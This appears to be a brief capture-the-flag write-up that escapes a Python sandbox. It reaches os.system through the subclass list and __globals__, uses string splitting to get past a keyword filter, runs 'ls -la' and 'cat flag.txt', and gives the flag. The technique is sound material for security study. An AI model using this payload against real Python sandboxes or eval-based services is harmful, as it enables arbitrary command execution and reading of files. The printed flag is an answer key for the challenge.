1. List all classes which are running in this python system by using this command `print("".__class__.__mro__[1].__subclasses__())`
2. Find the index of `<class 'os._wrap_close'>` in this case the index of `<class 'os._wrap_close'>` is 132
3. Call the system module in `__globals__` to list files and directories by using this command `"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['s' + 'ys' + 'tem']('ls -la')`
4. Show the flag string from `flag.txt` by using this command `"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['s' + 'ys' + 'tem']('cat flag.txt')`
5. Here is the picture show you step by step
![](https://i.ibb.co/FwDFj2w/Screenshot-2.jpg)
6. Here is the flag```flag{l3t's_try_sc0p1ng_th1s_0ne_2390098}```